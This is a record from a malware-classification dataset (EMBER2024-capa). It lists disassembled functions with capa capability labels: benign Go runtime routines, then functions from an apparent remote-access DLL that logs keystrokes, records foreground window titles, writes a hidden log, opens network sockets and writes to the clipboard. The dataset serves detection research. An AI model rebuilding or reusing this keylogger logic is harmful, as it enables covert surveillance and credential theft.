joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45e700
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x45e7af
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [sym.runtime.callers.func1]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call sym.runtime.systemstack.abi0
xorps xmm15, xmm15
mov r14, qword [0x0065bf70]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp sym.runtime.callers

Function at 0x469800
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x0065bd4b], 0
je 0x46980e
jmp sym.aeshashbody
jmp sym.runtime.memhashFallback

Function at 0x469820
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x0065bd4b], 0
je 0x469835
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp sym.aeshashbody
jmp sym.runtime.strhashFallback

Function at 0x469840
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x0065bd4b], 0
je 0x469875
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x0065c3e0]
aesenc xmm0, xmmword [0x0065c3f0]
aesenc xmm0, xmmword [0x0065c400]
movq rax, xmm0
ret
jmp sym.runtime.memhash32Fallback

Function at 0x469880
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x0065bd4b], 0
je 0x4698b6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x0065c3e0]
aesenc xmm0, xmmword [0x0065c3f0]
aesenc xmm0, xmmword [0x0065c400]
movq rax, xmm0
ret
jmp sym.runtime.memhash64Fallback
Function at 0x46af60
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push rbp
mov rbp, rsp
pushfq
cld
sub rsp, 0xe0
mov qword [rsp], rdi
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x50], xmm7
movups xmmword [rsp + 0x60], xmm8
movups xmmword [rsp + 0x70], xmm9
movups xmmword [rsp + 0x80], xmm10
movups xmmword [rsp + 0x90], xmm11
movups xmmword [rsp + 0xa0], xmm12
movups xmmword [rsp + 0xb0], xmm13
movups xmmword [rsp + 0xc0], xmm14
movups xmmword [rsp + 0xd0], xmm15
xorps xmm15, xmm15
xor r14, r14
mov rax, qword [0x0065bf70]
mov rax, qword gs:[rax]
cmp rax, 0
je 0x46affb
mov r14, qword [rax]
sub rsp, 0x10
mov rax, rcx
mov rbx, rdx
call sym.runtime.sigtrampgo
add rsp, 0x10
mov rdi, qword [rsp]
mov rsi, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
mov r12, qword [rsp + 0x20]
mov r13, qword [rsp + 0x28]
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
movups xmm6, xmmword [rsp + 0x40]
movups xmm7, xmmword [rsp + 0x50]
movups xmm8, xmmword [rsp + 0x60]
movups xmm9, xmmword [rsp + 0x70]
movups xmm10, xmmword [rsp + 0x80]
movups xmm11, xmmword [rsp + 0x90]
movups xmm12, xmmword [rsp + 0xa0]
movups xmm13, xmmword [rsp + 0xb0]
movups xmm14, xmmword [rsp + 0xc0]
movups xmm15, xmmword [rsp + 0xd0]
add rsp, 0xe0
popfq
pop rbp
ret

Function at 0x46b220
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x28
pushfq
cld
sub rsp, 0xe0
mov qword [rsp], rdi
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x50], xmm7
movups xmmword [rsp + 0x60], xmm8
movups xmmword [rsp + 0x70], xmm9
movups xmmword [rsp + 0x80], xmm10
movups xmmword [rsp + 0x90], xmm11
movups xmmword [rsp + 0xa0], xmm12
movups xmmword [rsp + 0xb0], xmm13
movups xmmword [rsp + 0xc0], xmm14
movups xmmword [rsp + 0xd0], xmm15
mov rax, qword [0x0065bf70]
mov rax, qword gs:[rax]
cmp rax, 0
jne 0x46b2b7
int 3
mov r14, qword [rax]
sub rsp, 0x28
mov qword [rsp], rcx
mov qword [rsp + 8], rdx
mov qword [rsp + 0x10], r8
mov qword [rsp + 0x18], r9
call sym.runtime.sehhandler.abi0
mov eax, dword [rsp + 0x20]
add rsp, 0x28
mov rdi, qword [rsp]
mov rsi, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
mov r12, qword [rsp + 0x20]
mov r13, qword [rsp + 0x28]
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
movups xmm6, xmmword [rsp + 0x40]
movups xmm7, xmmword [rsp + 0x50]
movups xmm8, xmmword [rsp + 0x60]
movups xmm9, xmmword [rsp + 0x70]
movups xmm10, xmmword [rsp + 0x80]
movups xmm11, xmmword [rsp + 0x90]
movups xmm12, xmmword [rsp + 0xa0]
movups xmm13, xmmword [rsp + 0xb0]
movups xmm14, xmmword [rsp + 0xc0]
movups xmm15, xmmword [rsp + 0xd0]
add rsp, 0xe0
popfq
add rsp, 0x28
pop rbp
ret
Function at 0x46b680
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x46b6b4
mov rcx, 0x28
jmp 0x46b6bf
shl rcx, 3
add rcx, 0x1480
mov qword [0x0065bf70], rcx
pop rbp
ret
Function at 0x483860
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x48392a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x0065bf70]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x48390f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004de5e0]
xor ebx, ebx
mov rcx, rdx
call sym.runtime.makeslice
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call sym.syscall.encodeWTF16
inc rbx
cmp rcx, rbx
jae 0x4838fe
mov edi, 1
lea rsi, [0x004de5e0]
call sym.runtime.growslice
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x0052ee58]
lea rsi, [0x0052e578]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.syscall.UTF16FromString

Function at 0x4a42a0
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4a49df
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
movabs rcx, 0xcbf29ce484222325
jmp 0x4a42cd
lea rax, [rdx + 0x10]
dec rbx
mov rcx, rsi
test rbx, rbx
jle 0x4a4551
mov rdx, rax
mov rsi, qword [rax]
nop dword [rax]
test rsi, rsi
je 0x4a457d
mov edi, dword [rsi + 0x10]
shr edi, 1
mov r8, qword [rax + 8]
and edi, 0x3f
lea rax, [0x00530ac0]
jmp qword [rax + rdi*8]
mov rax, rcx
add rsp, 0x10
pop rbp
ret
lea rax, [0x004de4e0]
lea rbx, [0x0052ecc8]
call sym.runtime.gopanic
inc rax
cmp rax, r8
jge 0x4a45a2
mov r9, qword [rsi + rax*8]
xor r10d, r10d
nop
jmp 0x4a45d7
lea rdi, [0x004de560]
mov rsi, rcx
movabs rcx, 0x100000001b3
jmp 0x4a42c3
movzx r11d, r9b
xor rcx, r11
inc r10
shr r9, 8
movabs r11, 0x100000001b3
imul rcx, r11
cmp r10, 8
jl 0x4a45bb
jmp 0x4a4590
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp sym.internal_bisect.Hash

Function at 0x4a4b80
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x4a4b97
inc rax
cmp rax, 4
jge 0x4a4baf
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x4a4b94
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x4a4bc0
inc rax
cmp rax, 4
jge 0x4a4bce
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x4a4bf7
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x4a4bdb
jmp 0x4a4bbd
Function at 0x4b4660
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4b47ae
push rbp
mov rbp, rsp
sub rsp, 0x68
movups xmmword [rsp + 0x40], xmm15
mov qword [rsp + 0x30], 0
mov rax, qword [0x005ce910]
call sym.internal_godebug._Setting_.Value
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rbx
movups xmmword [rsp + 0x50], xmm15
mov qword [rsp + 0x60], 0
lea rcx, [sym.net.goDebugNetDNS.func1]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x2b
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x0065bf70]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rcx, qword [rsp + 0x18]
cmp rcx, 0xffffffffffffffff
je 0x4b4772
mov rdx, qword [rsp + 0x28]
nop dword [rax + rax]
cmp rdx, rcx
jb 0x4b47a8
mov qword [rsp + 0x20], rcx
mov rsi, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, rcx
lea rdx, [rsp + 0x50]
call rsi
mov rax, qword [rsp + 0x20]
lea rcx, [rax + 1]
mov rbx, qword [rsp + 0x28]
cmp rbx, rcx
jb 0x4b479d
mov rsi, qword [rsp + 0x50]
sub rbx, rax
dec rbx
mov rdi, rbx
neg rdi
sar rdi, 0x3f
and rcx, rdi
mov rdi, qword [rsp + 0x38]
lea rax, [rdi + rcx]
lea rdx, [rsp + 0x50]
call rsi
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x68
pop rbp
ret
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x28]
lea rdx, [rsp + 0x50]
call rcx
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x68
pop rbp
ret
mov rax, rcx
mov rcx, rbx
call sym.runtime.panicSliceB
call sym.runtime.panicSliceAlen
nop
call sym.runtime.morestack_noctxt.abi0
jmp sym.net.goDebugNetDNS
Function at 0x1800041e0
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push rbp
push rsi
push r12
push r13
push r14
sub rsp, 0x80
mov rax, qword [0x180034310]
xor rax, rsp
mov qword [rsp + 0x68], rax
movzx r12d, r8w
mov r14d, 2
mov r13, rdx
mov rbp, rcx
xor esi, esi
mov edx, r14d
lea r8d, [rsi + 0x11]
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x58], rax
cmp rax, 0xffffffffffffffff
jne 0x180004232
xor eax, eax
jmp 0x1800043c5
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
lea rcx, [rsp + 0x54]
mov qword [rsp + 0x30], rcx
lea r8, [rsp + 0x50]
mov r9d, 4
mov rcx, rax
mov edx, 0x9800000c
mov qword [rsp + 0x78], rbx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x50], esi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
mov rcx, qword [rbp + 0x58]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rbp + 0x58]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
call qword [sym.imp.WS2_32.dll_WSACreateEvent]
mov rcx, r13
mov qword [rbp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov r8, r13
xor edx, edx
xor ecx, ecx
mov r9d, eax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
lea eax, [rbx + 1]
movsxd rcx, eax
call fcn.180014f64
mov rcx, r13
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov r8, r13
xor edx, edx
mov r9d, eax
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
mov byte [rbx + rdi], sil
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, rdi
mov rbx, rax
call fcn.180015af4
mov rdi, qword [rsp + 0x70]
test rbx, rbx
jne 0x180004353
xor eax, eax
jmp 0x1800043c0
movzx ecx, r12w
mov word [rsp + 0x58], r14w
call qword [sym.imp.WS2_32.dll_htons]
mov rdx, qword [rbp + 0x60]
mov r8d, gethostbyname
mov word [rsp + 0x5a], ax
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov rcx, qword [rbp + 0x58]
mov dword [rsp + 0x5c], eax
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x1800043be
mov rcx, qword [rbp + 0x58]
lea rdx, [rsp + 0x58]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1800043b9
cmp eax, 0xffffffff
jne 0x1800043be
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1800043be
mov esi, 1
mov eax, esi
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.180015b10
add rsp, 0x80
pop r14
pop r13
pop r12
pop rsi
pop rbp
ret
Function at 0x180006770
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push r14
sub rsp, 0x48
mov rbp, rcx
mov rcx, qword [0x18003bca8]
lea rdx, [0x18003bcc0]
test rcx, rcx
je 0x1800067bc
mov dword [0x18003bcb0], 0x3c
mov rax, qword [rcx]
mov r8, rdx
lea r9, [0x18003bcb0]
mov edx, 0x18
mov dword [rsp + 0x20], 0
call qword [rax + 0x50]
lea rdx, [0x18003bcc0]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x40], r12
xor r14d, r14d
mov qword [rsp + 0x38], r13
cmp dword [0x18003bcb0], r14d
mov qword [rsp + 0x30], r15
jle 0x180006995
xor r13d, r13d
lea r15, str._esc_
nop word [rax + rax]
xor ebx, ebx
lea r12, [0x180037018]
nop dword [rax]
mov eax, dword [r13 + rdx]
dec eax
cmp eax, dword [r12]
jne 0x18000695e
test byte [r13 + rdx + 4], 0x80
je 0x180006926
cmp ebx, 0x39
jne 0x18000685e
lea ecx, [rbx - 0x25]
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x180006851
cmp ax, 1
je 0x180006851
xor eax, eax
mov dword [0x18003bcb8], eax
jmp 0x180006876
mov eax, 1
mov dword [0x18003bcb8], eax
jmp 0x180006876
cmp ebx, 0x29
je 0x1800068fd
cmp ebx, 0x35
je 0x1800068fd
mov eax, dword [0x18003bcb8]
cmp dword [0x18003bcb4], 0
je 0x1800068d4
movsxd rsi, ebx
imul rsi, rsi, 0x7c
lea rdi, [rsi + r15 + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1800068b3
mov r9, rdi
lea rdx, [0x18002cbb8]
mov r8, rbp
mov rcx, rbp
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x180006957
cmp dword [0x18003bcb8], 0
je 0x1800068ce
lea rdi, [rsi + r15 + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x180006898
lea r9, [rsi + r15]
jmp 0x18000689b
test eax, eax
je 0x1800068f1
movsxd rax, ebx
imul rax, rax, 0x7c
lea rdi, [rax + r15 + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x180006898
movsxd r9, ebx
imul r9, r9, 0x7c
add r9, r15
jmp 0x18000689b
movsxd r9, ebx
lea rdx, [0x18002cba8]
mov r8, rbp
mov rcx, rbp
imul r9, r9, 0x7c
add r9, r15
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x18003bcb4], 1
jmp 0x180006957
cmp ebx, 0x29
je 0x180006930
cmp ebx, 0x35
jne 0x18000695e
movsxd r9, ebx
lea rdx, str._s_s
mov r8, rbp
mov rcx, rbp
imul r9, r9, 0x7c
add r9, r15
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x18003bcb4], 0
lea rdx, [0x18003bcc0]
inc ebx
add r12, 0x7c
cmp ebx, 0x66
jl 0x180006810
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x1800069bd
inc r14d
add r13, 0x18
lea rdx, [0x18003bcc0]
cmp r14d, dword [0x18003bcb0]
jl 0x180006800
xor al, al
mov r15, qword [rsp + 0x30]
mov r13, qword [rsp + 0x38]
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
add rsp, 0x48
pop r14
pop rbp
ret
mov al, 1
jmp 0x180006997
Function at 0x180007320
Capabilities:
Create thread
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov r8, rdx
mov rdi, rcx
lea rax, vtable.CManager.0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov rax, qword [rdx]
mov rdx, rcx
mov rcx, r8
call qword [rax + 0x18]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rdi + 0x18], rax
xor esi, esi
mov dword [rdi + 0x10], esi
lea rax, vtable.CKeyboardManager.0
mov qword [rdi], rax
lea rcx, [rdi + 0x250]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov ecx, esi
test eax, eax
setne cl
test ecx, ecx
jne 0x1800073a7
mov ecx, 0x80004005
call fcn.180001220
nop
lea rcx, [rdi + 0x280]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov ecx, esi
test eax, eax
setne cl
test ecx, ecx
jne 0x1800073cc
mov ecx, 0x80004005
call fcn.180001220
nop
mov dword [rdi + 0x28], esi
lea rbx, [rdi + 0x2c]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.DisplaySessionContainers.log
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rdi + 0x238], rax
mov byte [rdi + 0x234], 1
mov ecx, 0x400
call fcn.180014f64
mov qword [0x18003bc88], rax
mov ecx, 0x800
call fcn.180014f64
mov qword [0x18003bc80], rax
xor edx, edx
mov rcx, qword [0x18003bc88]
mov qword [rcx], rdx
xor ecx, ecx
mov qword [rax], rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rdi + 0x278], eax
mov byte [rsp + 0x58], 0xb
cmp dword [rdi + 0x10], 0
jne 0x180007474
mov rcx, qword [rdi + 8]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rsp + 0x58]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, rdi
lea r8, [0x180007010]
xor edx, edx
xor ecx, ecx
call fcn.18001656c
mov qword [rdi + 0x240], rax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, rdi
lea r8, [0x1800071f0]
xor edx, edx
xor ecx, ecx
call fcn.18001656c
mov qword [rdi + 0x248], rax
mov dword [rdi + 0x28], 1
mov dword [rdi + 0x27c], esi
mov rax, rdi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x180007730
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x870
mov rax, qword [0x180034310]
xor rax, rsp
mov qword [rsp + 0x860], rax
mov rax, qword [0x18003bc80]
mov rdi, rcx
xor ecx, ecx
mov qword [rax], rcx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rdx, qword [0x18003bc80]
mov rcx, rax
mov r8d, 0x400
mov qword [0x18003c268], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rsp + 0x62]
xor ebx, ebx
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x60], bx
call fcn.18001adc0
mov r11, qword [0x18003c260]
cmp qword [0x18003c268], r11
je 0x18000789b
mov rcx, qword [0x18003bc80]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x18000788d
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x888], rsi
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rsp + 0x58]
movzx edx, word [rsp + 0x56]
movzx r8d, word [rsp + 0x52]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r8d
mov r8, qword [0x18003bc80]
lea rdx, [0x18002cdc0]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [rax + rax + 3]
mov ecx, esi
call fcn.180014f64
lea r8d, [rsi - 1]
lea rdx, [rsp + 0x60]
lea rcx, [rax + 1]
mov rbx, rax
mov byte [rax], 9
call fcn.180015b40
cmp dword [rdi + 0x10], 0
jne 0x18000786b
mov rcx, qword [rdi + 8]
mov r8d, esi
mov rdx, rbx
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rbx
call fcn.180016660
mov rax, qword [0x18003bc80]
mov rsi, qword [rsp + 0x888]
xor r11d, r11d
mov ebx, 1
mov qword [rax], r11
mov rcx, qword [0x18003c268]
mov qword [0x18003c260], rcx
mov eax, ebx
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.180015b10
mov rbx, qword [rsp + 0x890]
add rsp, 0x870
pop rdi
ret
Function at 0x180008bd0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movsxd rbx, edx
mov rsi, rcx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_OpenClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rbx
mov ecx, 2
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x180008c4a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.180015b40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rbx
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.USER32.dll_CloseClipboard]
Function at 0x1800191c3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x180034310]
jne 0x180015b2a
rol rcx, 0x10
test cx, 0xffff
jne 0x180015b26
repz ret
ror rcx, 0x10
jmp 0x18001911c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18003aca0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x18003ad98]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1800191a1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18003aca0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1800191c3
mov rax, qword [rsp + 0x88]
mov qword [0x18003ad98], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18003ad38], rax
mov rax, qword [0x18003ad98]
mov qword [0x18003ac10], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18003ad20], rax
mov dword [0x18003ac00], 0xc0000409
mov dword [0x18003ac04], 1
mov rax, qword [0x180034310]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180034318]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18003ac98], eax
mov ecx, 1
call fcn.180020f14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18002a240]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18003ac98], 0
jne 0x18001924a
mov ecx, 1
call fcn.180020f14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret